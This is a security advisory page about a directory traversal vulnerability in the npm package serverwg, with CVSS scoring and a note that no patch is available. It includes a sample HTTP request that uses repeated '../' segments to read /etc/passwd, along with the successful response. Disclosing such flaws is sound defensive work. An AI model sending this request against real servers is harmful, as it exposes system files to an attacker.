Skip to content

Directory Traversal in serverwg

High severity GitHub Reviewed Published Sep 1, 2020 to the GitHub Advisory Database • Updated Sep 7, 2023

Package

npm serverwg (npm)

Affected versions

>= 0.0.0

Patched versions

None

Description

serverwg is a simple http server.

serverwg is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the URL.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo

and response:

HTTP/1.1 200 OK
Date: Wed, 17 May 2017 22:52:08 GMT
Connection: keep-alive

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

References

Reviewed Aug 31, 2020
Published to the GitHub Advisory Database Sep 1, 2020
Last updated Sep 7, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

EPSS score

0.651%
(80th percentile)

Weaknesses

CVE ID

CVE-2017-16101

GHSA ID

GHSA-2f29-pmpx-vj62

Source code

No known source code
Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.